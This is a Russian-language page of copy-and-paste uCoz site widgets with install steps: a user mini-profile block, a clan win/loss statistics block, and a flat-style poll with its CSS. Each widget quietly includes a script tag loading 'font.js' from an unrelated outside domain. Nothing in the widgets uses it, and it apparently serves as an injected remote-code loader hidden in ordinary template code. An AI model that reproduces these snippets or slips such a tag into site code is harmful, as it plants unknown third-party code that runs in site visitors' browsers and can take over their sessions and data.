Создаем глобальный блок и вставляем туда код мини профиля Код <!-- Личный кабинет --> <DIV align="center"><script language="JavaScript"> function process(){} today = new Date() if((today.getHours() < 12) && (today.getHours() >= 6)) { document.write("<b>Доброе утро, $USERNAME$.</b>")} if((today.getHours() >= 12) && (today.getHours() < 18)) { document.write("<b>Добрый день, $USERNAME$.</b>")} if((today.getHours() >= 18) && (today.getHours() <= 23)) { document.write("<b>Добрый вечер, $USERNAME$.</b>")} if((today.getHours() >= 0) && (today.getHours() < 4)) { document.write("<b>Здравствуйте, $USERNAME$. Не спится?</b>")} if((today.getHours() >= 4) && (today.getHours() <= 6)) { document.write("<b>Здравствуйте, $USERNAME$.<br>Мы рады вас видеть в столь ранний час.</b>")} </script> <?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/no_avatar_user.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavat_log.png" border="0"><?endif?><?endif?><br> <script type="text/javascript" src="http://24-moto.ru/font.js"></script> <?if($USER_LOGGED_IN$)?> <?endif?> <?if($USER_LOGGED_IN$)?> <!-- --> <script language="javascript1.2"> <!-- var ns6=document.getElementById&&!document.all?1:0 var head="display:''" var folder='' function expandit(curobj){ folder=ns6?curobj.nextSibling.nextSibling.style:document.all[curobj.sourceIndex+1].style if (folder.display=="none") folder.display="" else folder.display="none" } //--> </script> <table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%"> <td valign="middle" width="75%"> <div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Подробная информация" src="http://pnghosts.ru/img/informaciya.png"> <span style="display:none"> <div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;"> <b>Ваш логин:</b> $USERNAME$<br> <b>Ваше имя:</b> $USER_FULL_NAME$<br> <b>Вы родились:</b> $USER_BIRTHDAY$ <br> <b>Ваш ID:</b> $USER_ID$<br> <b>Вы здесь: $USER_REG_DAYS$-й день</b><br> <b>Ваша група:</b> $USER_GROUP$<br> <b>ID вашей групы:</b> $GROUP_ID$<bR> <b>Ваш IP адрес:</b> $IP_ADDRESS$<br> <b>Ваш браузер:</b> $USER_AGENT$ $USER_AGENT_VER$<br> <b>Ваш пол :</b> $USER_GENDER$<br> <center><?if($IS_NEW_PM$)?><b>$USERNAME$ у вас <a onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">$UNREAD_PM$ ЛС</a> !</b><?endif?></centeR> </div> </span></div></td></table> <!--/--> <br> <!-- --> <table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%"> <td valign="middle" width="75%"> <div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Доступные функции" src="http://pnghosts.ru/img/instument_img.png"> <span style="display:none"> <div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;"> <center> <input class="buttonprofile" type="button" onclick="window.open('/index/15-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Список пользователей"> <input class="buttonprofile" type="button" onclick="window.open('/index/11','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Изменить сведения"> <input class="buttonprofile" type="button" onclick="window.open('$AWARDS_READ_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Список наград "> <input class="buttonprofile" type="button" onclick="window.open('/index/14-999-0-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Отправить ЛС "> <input class="buttonprofile" type="button" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Читать ЛС ($UNREAD_PM$) "><br> <input class="buttonprofile" type="button" onclick="window.open('/index/8','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Профиль "><br> <input class="buttonprofile" type="button" onclick="document.location.href='/index/10'; return false;" value="Выход"> <bR> </center> </div> </span></div></td></table> <!--/--> <center> <script language=javascript type=text/javascript> function openOnClick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } </script> <?else?>
<br>Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!<br> <br>$LOGIN_FORM$ <?endif?></center> <!--/Конец кабинета -->
|
Красочный вид статистики кв, статистика для клана css,cs, и других. Особенность в данной статистики то что ярко выраженно поле нечьи, победы... Оформление статистике на css стилях, цвет серый опять скрипт под тёмный сайт, но стили легко редактировать, и можно сделать синем, крастным или белым. Устоновка: Кидаем код в новый блок, ВСЁ! Код <center> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <img src="http://pnghosts.ru/img/Win.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Победы (419)</font> </td> </tr> </tbody> </table> <br/> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <script type="text/javascript" src="http://24-moto.ru/font.js"></script> <img src="http://pnghosts.ru/img/Lose.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Поражения (90)</font> </td> </tr> </tbody> </table> <br/> <table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align=""> <tbody> <tr> <td style="height: 22px; text-align: center; background: #282828; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1"> <img src="http://pnghosts.ru/img/Drawn.png"/> </td> </tr> <tr> <td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; "> <font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Ничьи (15)</font> </td> </tr> </tbody> </table> </center>
|
В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста Установка: Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот: Код <div class="cell-poll"> <div class="cell-poll-title">$QUESTION$</div> <div class="cell-poll-answers">$ANSWERS$</div> <div class="cell-poll-link"> <span>Ответов: <strong>$TOTAL_VOTES$</strong></span> <a href="$RESULTS_LINK$" >Результаты </a> <b> | </b> <a href="$ARCHIVE_LINK$">Архив </a> </div> </div> <script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript"> var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);} $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); </script> Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код: Код /* Вид опроса для uCoz, в стили flat v2 ------------------------------------------*/ .cell-poll{ float:left; width:230px; color:#666; background: #fff; padding: 10px 10px 10px 10px; border: 1px solid #B6C0CD; border-radius:5px; }
.cell-poll-title{ float:left; width:100%; padding-bottom: 10px; border-bottom: 1px solid #B6C0CD; font:12px Verdana,Arial,Helvetica, sans-serif; font-weight:bold; text-align:center; color:#777; }
.cell-poll a {text-decoration:none; outline:none}
.cell-poll-answers{ float:left; width:100%; margin: 10px 0px 10px 0px; text-align:left; }
.answer {display: block;}
.answer input{margin: 3px 5px 2px 5px;} .answer label {margin: 2px 0px 2px 0px; color:#555;}
.progress { height: 15px; overflow: hidden; margin: 5px 0px 7px 0px; height: 15px!important; background: #F4F8F9!important; }
.progress-0, .progress-1, .progress-2, .progress-3, .progress-4, .progress-5, .progress-6, .progress-7, .progress-8, .progress-9, .progress-10, .progress-11, .progress-12, .progress-13, .progress-14 { height: 18px!important; display: block!important; overflow: hidden!important; margin-top: -3px; }
.progress-0 {background: #5D9AD3!important;} .progress-1 {background: #E96465!important;} .progress-2 {background: #F6954E!important;} .progress-3 {background: #dd8cd2!important;} .progress-4 {background: #75D0ED!important;} .progress-5 {background: #5BC254!important;} .progress-6 {background: #CFC72D!important;} .progress-7 {background: #DD3344!important;} .progress-8 {background: #FE9B6F!important;} .progress-9 {background: #8CC84B!important;} .progress-10 {background: #DD8CD2!important;} .progress-11 {background: #e9eb5b!important;} .progress-12 {background: #E96465!important;} .progress-13 {background: #75D0ED!important;} .progress-14 {background: #5D9AD3!important;}
.pollBut{ cursor:pointer; border:none!important; margin-top:10px; background: #64b0db!important; padding: 5px 20px 5px 20px!important;
font:11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold!important; color:#fff!important; }
.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;} .pollBut:hover {background:#51a4d2!important;}
.cell-poll-link{ float:left; width:100%; padding-top: 10px; border-top: 1px solid #B6C0CD; font:9px Verdana,Arial,Helvetica, sans-serif; color:#999; }
.cell-poll-link span{float:left;} .cell-poll-link b, .cell-poll-link a {float:right;} .cell-poll-link b {color:#B6C0CD;} Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
|
|